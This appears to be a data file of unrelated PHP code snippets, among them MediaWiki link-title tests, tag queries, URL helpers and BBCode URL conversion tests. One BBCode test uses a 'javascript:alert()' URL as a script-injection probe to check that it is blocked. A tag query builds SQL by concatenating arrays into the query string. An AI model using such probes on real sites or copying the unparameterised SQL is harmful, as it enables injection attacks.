[\n\t\t\t'User:Elephant Page' => 'Content'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, lower case page title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, fragment, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Elephant Page#Fragment]]',\n\t\t\t$extraPages,\n\t\t\t'User:Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Elephant Page|User:Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, page name with underscores link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Elephant Page|User:Elephant_Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:Elephant_Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, lowercase page name, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:elephant Page|User:Elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:Elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, lowercase page name, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:elephant Page|User:elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Elephant Page|User:elephant Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:elephant Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Elephant Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page without display title, lowercase page name, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:elephant Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\t// link to content page with display title\n\t\t$extraPages = [\n\t\t\t'Dingo Page' => '{{DISPLAYTITLE:Zebra}}'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, lower case page title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, fragment, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[Dingo Page#Fragment]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[Dingo Page|Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, page name with underscores link text',\n\t\t\t'Test Page',\n\t\t\t'[[Dingo Page|Dingo_Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, lowercase page name, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[dingo Page|Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, lowercase page name, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[dingo Page|dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[Dingo Page|dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[Dingo Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to page with display title, lowercase page name, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[dingo Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\t// link to redirect to content page with display title\n\t\t$extraPages = [\n\t\t\t'Dingo Page' => '{{DISPLAYTITLE:Zebra}}',\n\t\t\t'Redirect To Dingo Page' => '#REDIRECT [[Dingo Page]]'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, lower case page title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[redirect To Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'redirect To Dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, fragment, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Dingo Page#Fragment]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Dingo Page|Redirect To Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, page name with underscores link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Dingo Page|Redirect_To_Dingo_Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, lowercase page name, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[redirect To Dingo Page|Redirect To Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, lowercase page name, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[redirect To Dingo Page|redirect To Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'redirect To Dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Dingo Page|redirect To Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'redirect To Dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[Redirect To Dingo Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\tyield [\n\t\t\t'Redirect to page with display title, lowercase page name, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[redirect To Dingo Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\t// link to user page with display title\n\t\t$extraPages = [\n\t\t\t'User:Dingo Page' => '{{DISPLAYTITLE:Zebra}}'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, lower case page title, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, fragment, no link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Dingo Page#Fragment]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Dingo Page|User:Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, page name with underscores link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Dingo Page|User:Dingo_Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, lowercase page name, page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:dingo Page|User:Dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'Zebra'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, lowercase page name, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:dingo Page|User:dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, lowercase page name link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Dingo Page|User:dingo Page]]',\n\t\t\t$extraPages,\n\t\t\t'User:dingo Page'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:Dingo Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\n\t\tyield [\n\t\t\t'Link to user page with display title, lowercase page name, other link text',\n\t\t\t'Test Page',\n\t\t\t'[[User:dingo Page|Coyote]]',\n\t\t\t$extraPages,\n\t\t\t'Coyote'\n\t\t];\n\t}",
"protected function find_tags(){\n\t\tpreg_match_all(\"/%(.+?)%/\", $this->default, $this->tags );\n\t}",
"public function test_listBundlesForTagsRequest() {\n\n }",
"function isTagExists($tag)\n {\n /*\n If creating an object the incorrect id was passed in to the category, then\n this method will return false of any tag.\n */\n if ($this->_fProductIDIsIncorrect == true)\n {\n return ($this->debugmode ? 'Product ID is incorrect' : false);\n }\n\n if ($this->_fProductAttributesInfo == null)\n {\n $this->_loadProductAttributesInfo();\n }\n\n # Check additional tag list\n if ( array_key_exists( $tag, $this->_fAdditionalTagList ) )\n {\n return true;\n }\n\n # Check artificial tag list\n if ( array_key_exists( strtolower($tag), $this->_fArtificialTagList ) )\n {\n return true;\n }\n\n # Check database attributes\n if ( strtolower($this->_findEntityValueInAtributeList('a_view_tag',$tag,'a_view_tag')) == strtolower($tag))\n {\n return true;\n }\n\n return false;\n }",
"public function testUrlGenerationOverridingShortString(array $params): void\n {\n $routes = Router::createRouteBuilder('/');\n $routes->connect('/articles', 'Articles::index');\n\n $this->expectException(InvalidArgumentException::class);\n $this->expectExceptionMessage('cannot be used when defining route targets with a string route path.');\n\n Router::pathUrl('Articles::index', $params);\n }",
"public function test_createTagRequest() {\n\n }",
"private function getUrl() {\r\n if(!$this->markActive)\r\n return '';\r\n $mid = Yii::$app->controller->module->id == Yii::$app->id ? '' : Yii::$app->controller->module->id;\r\n $cid = Yii::$app->controller->id;\r\n $aid = Yii::$app->controller->action->id;\r\n $id = isset($_GET['slug']) ? $_GET['slug'] : (isset($_GET['id']) ? $_GET['id'] : '');\r\n $rubric = isset($_GET['rubric']) ? $_GET['rubric'] : '';\r\n $tag = isset($_GET['tag']) ? $_GET['tag'] : '';\r\n return ($mid ? $mid. '/' : '') . \r\n $cid . '/' . \r\n ($aid == 'index' \r\n ? ($rubric \r\n ? 'rubric/' . $rubric . ($tag \r\n ? '/tag/' . $tag \r\n : '') \r\n : 'index') \r\n : ($aid == 'view' ? $id : $aid)\r\n );\r\n }",
"public function parseUrlUsingFilterEnabled()\n {\n $query = new ControllerQuery($this->enabledFilters, '/test');\n $url = $query->setFilters(['name' => 'Batman', 'alias' => 'Fatherless'])\n ->build();\n\n $this->assertEquals(\n 'http://www.comicvine.com/api/test/?limit=100&offset=0&filter=name:Batman,alias:Fatherless',\n $url\n );\n }",
"function findPageUrls();",
"public function testPostHashtagsPageNotAllowed()\n {\n $response = $this->runApp('POST', '/tags', ['test']);\n\n $this->assertEquals(405, $response->getStatusCode());\n $this->assertContains('Method not allowed', (string) $response->getBody());\n }",
"public function newstag($id,$slug=null,$url='page',$page=0){\n\t\t$data \t\t\t\t\t\t= $this->data;\n\t\t$data['menu'] \t\t\t\t= 'news';\n\t\t$data['category'] \t\t\t= CategoryBlogModel::desc()->get();\n\n\t\t$tag \t\t\t\t\t\t= TagModel::find($id);\n\t\t$data['selected_tag'] \t\t= $tag;\n\n\t\t$data['tag'] \t\t\t\t= TagModel::desc()->get();\n\t\n\n\t\t$data['popular_news'] \t\t= BlogModel::notDraft()->take(3)->orderBy('view','desc')->get();\n\n\t\tif(!$tag){\n\t\t\tredirect('error');\n\t\t\treturn;\n\t\t}\n\n\t\tif($url==\"page\"){\n\n\t\t\tif(!is_numeric($page)){\n\t\t\t\t$page \t= 0;\n\t\t\t}\n\n\t\t\t$name \t\t\t\t\t\t= (null != $this->input->get('q')) ? $this->input->get('q') : '';\n\t\t\t\n\n\t\t\t$paginate\t\t\t\t\t= new Aksa_pagination;\n\t\t\t$data['page']\t\t\t\t= $page;\n\n\t\t\t$blog_data \t\t\t\t\t= [];\n\n\t\t\tforeach ($tag->tags as $result) {\n\t\t\t\t$blog_data[] \t\t\t= $result->id_blog;\n\t\t\t}\n\t\t\t\n\n\t\t\t$data['total']\t\t\t\t= BlogModel::notDraft()->where('name', 'LIKE', '%'.$name.'%')->whereIn('id',$blog_data);\n\t\t\t$data['news']\t\t\t\t= BlogModel::notDraft()->where('name', 'LIKE', '%'.$name.'%')->whereIn('id',$blog_data);\n\n\t\t\t$data['total'] \t\t\t\t= $data['total']->get();\n\t\t\t$data['news'] \t\t\t\t= $data['news']->take(6)->skip($page*6)->desc()->get();\n\n\n\n\t\t\t$data['pagination'] \t\t= $paginate->paginate(base_url('main/newstag/'.$tag->id.'/'.seo($tag->name).'/page/'),5,6,count($data['total']),$page);\n\t\t\techo $this->blade->nggambar('website.news.index',$data);\n\t\t\treturn;\n\t\t}\n\t}",
"public static function get_related_tags(Info $info, $badges, $tags) {\n try {\n //NOTE: If you are super admin, dont bother joining in perm tables to get accurate topic_count by permission\n //Since you are super, you can read ALL articles, so just use the topic_count column in tbl_badge_item\n $badges_exist = false;\n $tags_exist = false;\n if ($badges[0] != '' && $badges[0] != '*') $badges_exist = true;\n if ($tags[0] != '' && $tags[0] != '*') $tags_exist = true;\n if ($badges_exist) {\n $db = ADODB::connect();\n if ($info->admin) {\n //This does not take into account permissions on topic_count, becuase Im admin\n $query = \"\n SELECT\n DISTINCT ti.*\n FROM\n tbl_tag_link tl\n LEFT OUTER JOIN tbl_tag_item ti on tl.tag_id = ti.tag_id\n WHERE \";\n if ($tags_exist) {\n $query .= \"\n tl.topic_id IN (\n SELECT\n tl.topic_id\n FROM\n tbl_tag_link tl\n WHERE\n tl.tag_id IN (\".implode(\",\", $tags).\") \n GROUP BY\n tl.topic_id\n HAVING \n count(DISTINCT tl.tag_id) >= \".count($tags).\"\n ) \";\n }\n if ($badges_exist) {\n if ($tags_exist) $query .= \"AND \";\n $query .= \"\n tl.topic_id IN (\n SELECT\n bl.topic_id\n FROM\n tbl_badge_link bl\n WHERE\n bl.badge_id IN (\".implode(\",\", $badges).\") \n GROUP BY\n bl.topic_id\n HAVING \n count(DISTINCT bl.badge_id) >= \".count($badges).\"\n ) \";\n }\n if ($tags_exist) {\n $query .= \"\n AND\n tl.tag_id NOT IN (\".implode(\",\", $tags).\") \";\n }\n $query .= \"ORDER BY ti.tag\";\n } else {\n //This uses a true topic count, taking into account your permissions\n //Holy crap, this ones crazy!\n $query = \"\n SELECT DISTINCT\n mainti.tag_id,\n mainti.tag \";\n /* I took counts off because this is total count, not filtered count\n (\n SELECT count(DISTINCT t.topic_id) FROM\n tbl_topic t LEFT OUTER JOIN tbl_tag_link tl on t.topic_id = tl.topic_id\n LEFT OUTER JOIN tbl_perm_link pl on t.topic_id = pl.topic_id\n LEFT OUTER JOIN tbl_perm_group_link pgl on pl.perm_group_id = pgl.perm_group_id\n WHERE tl.tag_id = mainti.tag_id AND ((pl.perm_id = \".Config::STATIC_PERM_READ.\" AND pgl.user_id = $user_id) or t.created_by = $user_id)\n ) as topic_count*/\n $query .= \"FROM\n tbl_tag_link maintl\n INNER JOIN tbl_tag_item mainti on maintl.tag_id = mainti.tag_id\n WHERE \";\n if ($tags_exist) {\n $query .= \"\n maintl.topic_id IN (\n SELECT\n tl.topic_id\n FROM \n tbl_topic t\n LEFT OUTER JOIN tbl_perm_link pl on t.topic_id = pl.topic_id and pl.perm_id = \".Config::STATIC_PERM_READ.\"\n LEFT OUTER JOIN tbl_perm_group_link pgl on pl.perm_group_id = pgl.perm_group_id\n LEFT OUTER JOIN tbl_tag_link tl on t.topic_id = tl.topic_id\n WHERE\n (pgl.user_id = $info->user_id OR t.created_by = $info->user_id) AND\n tl.tag_id IN (\".implode(\",\", $tags).\")\n GROUP BY\n tl.topic_id\n HAVING\n count(DISTINCT tl.tag_id) >= \".count($tags).\"\n ) \";\n }\n if ($badges_exist) {\n if ($tags_exist) $query .= \"AND \";\n $query .=\"\n maintl.topic_id IN (\n SELECT\n bl.topic_id\n FROM \n tbl_topic t\n LEFT OUTER JOIN tbl_perm_link pl on t.topic_id = pl.topic_id and pl.perm_id = \".Config::STATIC_PERM_READ.\"\n LEFT OUTER JOIN tbl_perm_group_link pgl on pl.perm_group_id = pgl.perm_group_id\n LEFT OUTER JOIN tbl_badge_link bl on t.topic_id = bl.topic_id\n WHERE\n (pgl.user_id = $info->user_id OR t.created_by = $info->user_id) AND\n bl.badge_id IN (\".implode(\",\", $badges).\")\n GROUP BY\n bl.topic_id\n HAVING\n count(DISTINCT bl.badge_id) >= \".count($badges).\"\n ) \";\n }\n if ($tags_exist) {\n $query .=\"\n AND\n maintl.tag_id NOT IN (\".implode(\",\", $tags).\")\";\n }\n $query .= \"ORDER BY mainti.tag\"; \n }\n $rs = $db->Execute($query);\n $tag_items = array();\n while (!$rs->EOF) {\n $tag_item = new Tbl_tag;\n $tag_item->tag_id = $rs->fields['tag_id'];\n $tag_item->tag = $rs->fields['tag'];\n $tag_item->image = $rs->fields['image'];\n $tag_item->default_topic_id = $rs->fields['default_topic_id'];\n $tag_items[] = $tag_item; //add this badge_item to array of Tbl_badge\n $rs->MoveNext();\n }\n return $tag_items;\n }\n } catch (exception $e) {\n Info::exception_handler($e, __file__, get_class($this), __FUNCTION__, __LINE__);\n }\n }",
"function testRemoveUnusedTagsEnabled() {\n\t\t$entry1 = $this->objFromFixture('TagFieldTest_BlogEntry', 'blogentry1');\n\t\t\n\t\t// should contain \"tag1\"\n\t\t$entry2 = $this->objFromFixture('TagFieldTest_BlogEntry', 'blogentry2');\n\t\t\n\t\t$field = new TagField('Tags', null, null, 'TagFieldTest_BlogEntry');\n\t\t$field->setValue('tag3');\n\t\t$field->saveInto($entry1);\n\t\t$entry1->write();\n\t\t\n\t\t$this->assertInstanceOf(\n\t\t\t'TagFieldTest_Tag', \n\t\t\tTagFieldTest_Tag::get()->filter('Title', 'tag1')->First(),\n\t\t\t'Removing a tag relation which is still present in other objects shouldnt remove the tag record'\n\t\t);\n\t\t$this->assertNull(\n\t\t\tTagFieldTest_Tag::get()->filter('Title', 'tag2')->First(),\n\t\t\t'If the only remaining relation of a tag record is removed, the tag should be removed completely'\n\t\t);\n\t}",
"public function provideUrlTests() {\n $result = [\n [[\n 'descr' => \"[url=...] (with no protocol given) gets converted.\",\n 'bbcode' => \"This is a test of the [url=fleeb.html]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the <a href=\\\"fleeb.html\\\" class=\\\"bbcode_url\\\">emergency broadcasting system</a>.\",\n ]],\n [[\n 'descr' => \"[url=http:...] gets converted.\",\n 'bbcode' => \"This is a test of the [url=http://www.google.com]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the <a href=\\\"http://www.google.com\\\" class=\\\"bbcode_url\\\">emergency broadcasting system</a>.\",\n ]],\n [[\n 'descr' => \"[url=http:...] gets converted correctly in plain mode.\",\n 'bbcode' => \"This is a test of the [url=http://www.google.com]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the <a href=\\\"http://www.google.com\\\">emergency broadcasting system</a>.\",\n 'plainmode' => true,\n ]],\n [[\n 'descr' => \"Unquoted [url=http:...] with parameters gets converted.\",\n 'bbcode' => \"This is a test of the [url=http://www.google.com?q=broadcasting&y=foo&x=bar]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the <a href=\\\"http://www.google.com?q=broadcasting&y=foo&x=bar\\\" class=\\\"bbcode_url\\\">emergency broadcasting system</a>.\",\n ]],\n [[\n 'descr' => \"[url=https:...] gets converted.\",\n 'bbcode' => \"This is a test of the [url=https://www.google.com]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the <a href=\\\"https://www.google.com\\\" class=\\\"bbcode_url\\\">emergency broadcasting system</a>.\",\n ]],\n [[\n 'descr' => \"[url=ftp:...] gets converted.\",\n 'bbcode' => \"This is a test of the [url=ftp://www.google.com]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the <a href=\\\"ftp://www.google.com\\\" class=\\\"bbcode_url\\\">emergency broadcasting system</a>.\",\n ]],\n [[\n 'descr' => \"[url=mailto:...] gets converted.\",\n 'bbcode' => \"This is a test of the [url=mailto:[email protected]]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the <a href=\\\"mailto:[email protected]\\\" class=\\\"bbcode_url\\\">emergency broadcasting system</a>.\",\n ]],\n [[\n 'descr' => \"[url=javascript:...] is prohibited.\",\n 'bbcode' => \"This is a test of the [url=javascript:alert()]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the [url=javascript:alert()]emergency broadcasting system[/url].\",\n ]],\n [[\n 'descr' => \"[url=(unknown protocol):...] is prohibited.\",\n 'bbcode' => \"This is a test of the [url=flooble:blarble]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the [url=flooble:blarble]emergency broadcasting system[/url].\",\n ]],\n [[\n 'descr' => \"The [url]http://...[/url] form works correctly.\",\n 'bbcode' => \"The [url]http://www.google.com[/url] form works correctly.\",\n 'html' => \"The <a href=\\\"http://www.google.com\\\" class=\\\"bbcode_url\\\">http://www.google.com</a> form works correctly.\",\n ]],\n [[\n 'descr' => \"The [url]http://...[/url] form works correctly in plain mode.\",\n 'bbcode' => \"The [url]http://www.google.com[/url] form works correctly.\",\n 'html' => \"The <a href=\\\"http://www.google.com\\\">http://www.google.com</a> form works correctly.\",\n 'plainmode' => true,\n ]],\n [[\n 'descr' => \"The [url]malformed...url...[/url] form is fully unprocessed.\",\n 'bbcode' => \"The [url]a.imagehost.org/view/egdgdo[/url] form is fully unprocessed.\",\n 'html' => \"The <a href=\\\"a.imagehost.org/view/egdgdo\\\" class=\\\"bbcode_url\\\">a.imagehost.org/view/egdgdo</a> form is fully unprocessed.\",\n ]],\n [[\n 'descr' => \"[url=\\\"...=...\\\"] contains an embedded equal sign (quotes work correctly).\",\n 'bbcode' => \"The [url=\\\"http://www.google.com/?foo=bar&baz=frob\\\" bar=foo]link[/url] works correctly.\",\n 'html' => \"The <a href=\\\"http://www.google.com/?foo=bar&baz=frob\\\" class=\\\"bbcode_url\\\">link</a> works correctly.\",\n ]],\n [[\n 'descr' => \"[url=\\\"...=...\\\"] contains an embedded equal sign (test #2).\",\n 'bbcode' => \"The [url=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\"]Opinion[/url] is funny.\",\n 'html' => \"The <a href=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" class=\\\"bbcode_url\\\">Opinion</a> is funny.\",\n ]],\n [[\n 'descr' => \"[url=\\\"...\\\" target=\\\"...\\\"] has its target ignored by default.\",\n 'bbcode' => \"The [url=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" target=_blank]Opinion[/url] is funny.\",\n 'html' => \"The <a href=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" class=\\\"bbcode_url\\\">Opinion</a> is funny.\",\n ]],\n [[\n 'descr' => \"[url=\\\"...\\\" target=\\\"...\\\"] has its target used when URL targeting is enabled.\",\n 'bbcode' => \"The [url=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" target=_blank]Opinion[/url] is funny.\",\n 'html' => \"The <a href=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" class=\\\"bbcode_url\\\" target=\\\"_blank\\\">Opinion</a> is funny.\",\n 'urltarget' => true,\n ]],\n [[\n 'descr' => \"[url] has a target applied when forced URL targeting is enabled.\",\n 'bbcode' => \"The [url=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\"]Opinion[/url] is funny.\",\n 'html' => \"The <a href=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" class=\\\"bbcode_url\\\" target=\\\"somewhere\\\">Opinion</a> is funny.\",\n 'urlforcetarget' => \"somewhere\",\n ]],\n [[\n 'descr' => \"[url target=\\\"...\\\"] has its target ignored when forced URL targeting is enabled.\",\n 'bbcode' => \"The [url=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" target=\\\"_blank\\\"]Opinion[/url] is funny.\",\n 'html' => \"The <a href=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" class=\\\"bbcode_url\\\" target=\\\"somewhere\\\">Opinion</a> is funny.\",\n 'urlforcetarget' => \"somewhere\",\n ]],\n [[\n 'descr' => \"[url] has a target applied even with URL target overriding.\",\n 'bbcode' => \"The [url=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\"]Opinion[/url] is funny.\",\n 'html' => \"The <a href=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" class=\\\"bbcode_url\\\" target=\\\"somewhere\\\">Opinion</a> is funny.\",\n 'urlforcetarget' => \"somewhere\",\n 'urltarget' => 'override',\n ]],\n [[\n 'descr' => \"[url target=\\\"...\\\"] has its target applied with URL target overriding.\",\n 'bbcode' => \"The [url=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" target=\\\"_blank\\\"]Opinion[/url] is funny.\",\n 'html' => \"The <a href=\\\"http://www.demourl.com/opinion.php?idopinion=234\\\" class=\\\"bbcode_url\\\" target=\\\"_blank\\\">Opinion</a> is funny.\",\n 'urlforcetarget' => \"somewhere\",\n 'urltarget' => 'override',\n ]],\n [[\n 'descr' => \"[url=(includes a smiley)] is not converted into a smiley.\",\n 'bbcode' => \"This is a test of the [url=http://www.google.com/foo:-P]emergency broadcasting system[/url].\",\n 'html' => \"This is a test of the <a href=\\\"http://www.google.com/foo:-P\\\" class=\\\"bbcode_url\\\">emergency broadcasting system</a>.\",\n ]],\n ];\n return $result;\n }",
"function get_request_contains($request_url,$search_string) {\n //get the current url\n $string = $search_string;\n $url = $request_url;\n //~ echo $request_url;\n //check for string in url\n $lookup = strpos($url, $string);\n\n\n //If string is found, set the value of found_context\n if($lookup > 1 || $lookup !== false) {\n //~ echo 'is_component request';\n return true;\n }\n\n //If not found, set UNSET the value of found_context\n else {\n //~ echo 'is_not component request';\n return false; \n }\n}",
"function testgetHyperLinks() {\n //Setup \n $pageTest = new INM5001A13_WebTools(\"http://localhost/EquipeRene/Snippets/pagePourTestUnitaireWebTool.html\");\n\n $resultat = $pageTest->getHyperLinks();\n\n\n $this->assertEquals($resultat[\"http://google.ca\"], 'Search GGxxGLE');\n }",
"public function getUrlSegment()\n {\n // Create URL segment if we don't have one.\n if(!$this->url_segment){\n $this->url_segment = str_slug($this->getFullName().' '.$this->id);\n $this->save();\n }\n\n return $this->url_segment;\n }",
"function website_get_by_tag( $tag = '', $limit = -1 ) {\n\n\treturn false;\n\n\t$tag_websites = array();\n\t$websites = get_website_data();\n\n\tif ( $tag ) {\n\n\t\tforeach ( $websites as $key => $website ) {\n\t\t\tif ( in_array( $tag, $website[ 'tags' ] ) ) {\n\t\t\t\t$tag_websites[ $key ] = $website;\n\t\t\t}\n\t\t}\n\n\t} else {\n\n\t\t// no tag so change limit to 15\n\t\tif ( $limit < 0 ) {\n\t\t\t$limit = 15;\n\t\t}\n\n\t\tshuffle( $websites );\n\t\t$tag_websites = array_slice( $websites, 0, $limit );\n\n\t}\n\n\tif ( $limit > 0 ) {\n\t\t$tag_websites = array_slice( $tag_websites, 0, $limit );\n\t}\n\n\t// shuffle homepage only\n\tif ( ! $tag ) {\n\t\tshuffle( $tag_websites );\n\t}\n\n\treturn $tag_websites;\n\n}",
"function generateTagsLinks( ){\n global $config;\n \n $oSql = Sql::getInstance( );\n $oQuery = $oSql->getQuery( 'SELECT sUrl, iTag, sLang FROM tags ORDER BY iPosition ASC' );\n while( $aData = $oQuery->fetch( PDO::FETCH_ASSOC ) ){\n $sUrl = $config['tags_url_prefix'].change2Url( $aData['sUrl'] );\n $aLinksIds[$aData['iTag']] = $sUrl.'.html';\n $aLinks[$sUrl] = Array( $aData['iTag'], $aData['sLang'] );\n } // end while\n\n file_put_contents( $config['dir_database'].'cache/tags_links', ( isset( $aLinks ) ? serialize( $aLinks ) : null ) );\n file_put_contents( $config['dir_database'].'cache/tags_links_ids', ( isset( $aLinksIds ) ? serialize( $aLinksIds ) : null ) );\n}",
